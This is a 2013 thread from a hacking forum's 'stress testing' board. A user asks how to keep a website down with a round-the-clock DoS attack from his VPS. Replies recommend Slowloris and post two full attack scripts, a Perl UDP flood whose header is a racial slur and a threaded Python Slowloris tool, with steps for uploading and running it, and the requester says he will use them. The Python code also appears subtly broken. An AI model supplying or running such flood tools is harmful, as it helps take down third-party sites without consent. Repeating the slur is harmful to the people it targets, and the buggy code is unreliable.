Sinisterly
DoS Attack with VPS - Printable Version

+- Sinisterly (https://sinister.li)
+-- Forum: Hacking (https://sinister.li/Forum-Hacking)
+--- Forum: Remote Administration & Stress Testing (https://sinister.li/Forum-Remote-Administration-Stress-Testing)
+--- Thread: DoS Attack with VPS (/Thread-DoS-Attack-with-VPS)

Pages: 1 2


DoS Attack with VPS - Eclipse - 12-08-2013

Hey guys,

I recently purchased a small VPS and I want it to perform a 24/7 DoS attack on a site. Don't worry about power or whether it'll come down. I just need to know how to do this. The VPS is running Ubuntu 13.04

Thanks for any help in advance,
Sparks


RE: DoS Attack with VPS - TechSaavy - 12-08-2013

If it is a Apache webserver on your target, you can use Slowloris. You can find a tutorial here:
LINK. Here is slowloris in python, if you don't feel for running/installing Perl: LINK

I'm sure there is more tools out there, but I never felt for searching more than the links above ^_^


RE: DoS Attack with VPS - Adorapuff - 12-08-2013

Just run a Dos script on the server. You'll probably be banned or run out of bandwidth but whatever,


RE: DoS Attack with VPS - Eclipse - 12-08-2013

(12-08-2013, 01:49 PM)CamIce Wrote: If it is a Apache webserver on your target, you can use Slowloris. You can find a tutorial here:
LINK. Here is slowloris in python, if you don't feel for running/installing Perl: LINK

I'm sure there is more tools out there, but I never felt for searching more than the links above ^_^

Thanks! I'm going to try this. I presume I type the commands into the SSH client.
(12-08-2013, 04:17 PM)Adorapuff Wrote: Just run a Dos script on the server. You'll probably be banned or run out of bandwidth but whatever,
I have no idea how to do that but if that'll happen, no thanks. Tongue


RE: DoS Attack with VPS - w00t - 12-08-2013

The stupid is strong in this one.

Slowloris IS a DoS script.

You WILL use up all your bandwidth, and likely get banned. The whole idea of a DoS is to send the target more data than it can handle.


RE: DoS Attack with VPS - Eclipse - 12-08-2013

(12-08-2013, 06:39 PM)w00t Wrote: The stupid is strong in this one.

Slowloris IS a DoS script.

You WILL use up all your bandwidth, and likely get banned. The whole idea of a DoS is to send the target more data than it can handle.

Well fuck. The target site is pretty fucking shit and a one or two second low power attack in HOIC will bring it down. I just want it to stay down.


RE: DoS Attack with VPS - ErroraBorealis - 12-09-2013

SUPER DUPER LEET NEVER BEFORE SEEN DOS SCRIPT /s
inb4lolwhatisperl?


Code:
#!/usr/bin/perl ############################# # Nigger # ############################# use Socket; use strict; my ($ip,$port,$size,$time) = @ARGV; my ($iaddr,$endtime,$psize,$pport); $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n"; $endtime = time() + ($time ? $time : 100); socket(flood, PF_INET, SOCK_DGRAM, 17); print <<EOTEXT; .,.......``..,` .....,:,.....,,:,.., ,...:,..,,..:',;;'`,:... ....:...,,..,'';,:,;,``.:., ....;:..:.......:,:,.,. ..,:.` ....,';;;...........'''';:.`:...., ,...:';;;..............';;;:......., ,...:;';;................;;........... ,....;;;;.............................. ,....;;;:..............................., `....;;;:................................. .....';:................................... .....+;;...................................: ,.....+;..................,.................. ......''.............:....:,..................` `......'..................::,:......,..........: ......:..............,....,,:,.....:,........... ,.....:..............,;...:,;,::...:::........... ......,..............,,:..,;;,:,:..,:,:..........., .....................,,,..:,,,:::..::,;,..........: ,.....,..............,,:,.:````.:'':;:::,...,....... ,.....:..............,,,:...```````.````,............ :.....;...............,,,;.,`````````````,...,........ `.....;...............,,,;:..`````````````,...:........ ,....:................,,:,,.``````````````,..,,........ ,....,................,,,.,,:``````````````,..:,........ ....,..,,............,,,,`,,.``````````````,.,,,........ `...,,,.,,.............,,:``,,```````````````,.:,,........ ,..,,;..,,.............,,,.,.,;```````````````,,;,......... ,.,,,;..,,..,...........,,,```;:```````````````,::,.........` ,,,:.;.,,,,.,...........,,:`,`.:;:,````````````.',,:.........` .,:`.;.,',,.,,...........,,`.@+''#:::,````````:;,:.,:.........` ,, .:,::,,.,,...........,,.`@,'::`;,,.:;,`````,;##@;;.........` . .,,;,:,,,,:..........,,:``.`::;',,,.```````,;':`,+:.........` ,,:,,;,,,,,.....,.....,:```` :;' .,``````,,`;:' .:......... ,:;,:`,,,,,;....,.....,,,`````...````````````` ;',``:......... .;:, ;,,,,;,...,,.....,:```````````````````.``....``:......... `;: `,,,,:,...,,.....,,````````````````````,````````:......... : :,,:,,;...:,.....,;````````````````````.````````:......... :,,:.,,,..,;.....,:,,````````````````````````````:......... ,,:.:''..,,,.....,:,,````````````````````````````:......,.. :,+';;;;..,:,....,;';,````````````````````````````;......:.. ,: .:;;;,.,,;.....,+++,,```````````````````````````:......:,. : ..,,;',.,,,....,'+++;,``````````````````````````.;.......,. ; .,,,,',,,',....,++++,,,``````````````;,,:```````;;...... ,.` ,,,,: ,,,'+....,;++++,:,``````````````.,:````````,;....., ..` ,,:. ,,:;'....,;#,.:,,,,```````````````````````:,;....., ,` .:` `,:,,:....;+#..,,,,,.`````````````````````,,,;..,.. `` .,:,,,...::##,.,,,,;,`````````,....``````.,,,:..... ,.,,,....`:###.,,,,,:,``````````````````,,,,,:.,.., : ,,,...: ,###+:,,,,,:,.```````````````,;,,,,,.:... ,,;...` #####,,,,,,,:,`````````````:,.,,,,,.,.. ,; .., ######:,,,,,,;,.``````````:,::,,,,..,., : ..` #######+,,,,,,::,````````:...:,,,,. ,., .. #########:,,,,,,:,,````.,;...:,,,:` ,. .` ##########+,,,,,,,:,.`:,,,,,.,,,, ,, . ##############;,,,,,,,,,,,:,,.,.:,: ,` . ,################,,,,,,,,,,:,....,,` : :##################:,,,,,,,,...,...: ;''+##################;,,,,,,:......,` `;'''''''###############+'';,,,,,;..,...: `;'''''''''''+#############+''':,,,,:..,,..+' `''''''''''''''''+#############'''',,,,,,,,,.''''. '''''''''''''''''''''+###########''''',,,,:...:+'''''; `,.''''''''''''''''''''''##########'''''',,,,,.,'+''''''': .````'''''''''''''''''''''''########'''''',,,,;.'''''''''''''` ,```````'''''''''''''''''''''''+######''''''+,,`.''+''''''''''''' EOTEXT print "Throwing kunai at $ip " . ($port ? $port : "random") . " damage dealt " . ($size ? "$size-byte" : "...-_-...") . " Packets Per Second. " . ($time ? " for $time seconds" : "") . "\n"; print "Break with Ctrl-C\n" unless $time; for (;time() <= $endtime;) { $psize = $size ? $size : int(rand(1024-64)+64) ; $pport = $port ? $port : int(rand(65500))+1; send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}



RE: DoS Attack with VPS - Adorapuff - 12-09-2013

(12-08-2013, 06:33 PM)Sparks Wrote: Thanks! I'm going to try this. I presume I type the commands into the SSH client.
I have no idea how to do that but if that'll happen, no thanks. Tongue

Slowloris is a dos script lol. There's also UDP, RUDY, and a bunch of others.


RE: DoS Attack with VPS - 3SidedSquare - 12-09-2013

DoS script != DoS method Sad

To do what you're asking, save the following into a file, with the extension -.py, it can be named anything you like
Code:
import socket import time from threading import Thread ##3SidedSquare## def byteize(string): return bytes(string,'UTF-8') def slowloris(address, timeout=0.3): head = "GET / HTTP/1.1" body = "\r\nHost: "+address+"\r\nConnection: keep-alive\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36\r\nAccept-Encoding: gzip,deflate,sdch\r\nAccept-Language: en-US,en;q=0.8\r\n\r\n" s = socket.socket(socket.AF_INET, socket.SOCK_RAW) s.connect((address,80)) i = 0 while(True): s.send(byteize(head[i:i+1])) time.sleep(0.1) if(i>len(head)-1): break i=0 while(True): s.send(byteize(body[1:i+1])) time.sleep(timeout) if(i>len(body)-1): break print("Enter address to DoS") address = input() while(True): thre = Thread(target=slowloris, args=(address,)) thre.start()
(I made it just for you <3)
Transfer it to your vps, you can use ftp in your command line (assuming your vps supports ftp)
In windows command line:
Code:
ftp open the.vps.server send local/file/path remote/file/path disconnect close
Then to run it, log in via ssh and go to the directory you saved it in and
Code:
Python3.3 filename.py
p.s. It's a slowloris attack that runs as many threads as possible. It'll get you banned straight away. (I got up to 1,342 threads while testing on Google before my computer locked up)


RE: DoS Attack with VPS - Eclipse - 12-09-2013

(12-09-2013, 04:59 PM)3SidedSquare Wrote: DoS script != DoS method Sad

To do what you're asking, save the following into a file, with the extension -.py, it can be named anything you like
Code:
import socket import time from threading import Thread ##3SidedSquare## def byteize(string): return bytes(string,'UTF-8') def slowloris(address, timeout=0.3): head = "GET / HTTP/1.1" body = "\r\nHost: "+address+"\r\nConnection: keep-alive\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36\r\nAccept-Encoding: gzip,deflate,sdch\r\nAccept-Language: en-US,en;q=0.8\r\n\r\n" s = socket.socket(socket.AF_INET, socket.SOCK_RAW) s.connect((address,80)) i = 0 while(True): s.send(byteize(head[i:i+1])) time.sleep(0.1) if(i>len(head)-1): break i=0 while(True): s.send(byteize(body[1:i+1])) time.sleep(timeout) if(i>len(body)-1): break print("Enter address to DoS") address = input() while(True): thre = Thread(target=slowloris, args=(address,)) thre.start()
(I made it just for you <3)
Transfer it to your vps, you can use ftp in your command line (assuming your vps supports ftp)
In windows command line:
Code:
ftp open the.vps.server send local/file/path remote/file/path disconnect close
Then to run it, log in via ssh and go to the directory you saved it in and
Code:
Python3.3 filename.py
p.s. It's a slowloris attack that runs as many threads as possible. It'll get you banned straight away. (I got up to 1,342 threads while testing on Google before my computer locked up)

Thanks! I'm going to try this now. See how long I can go Tongue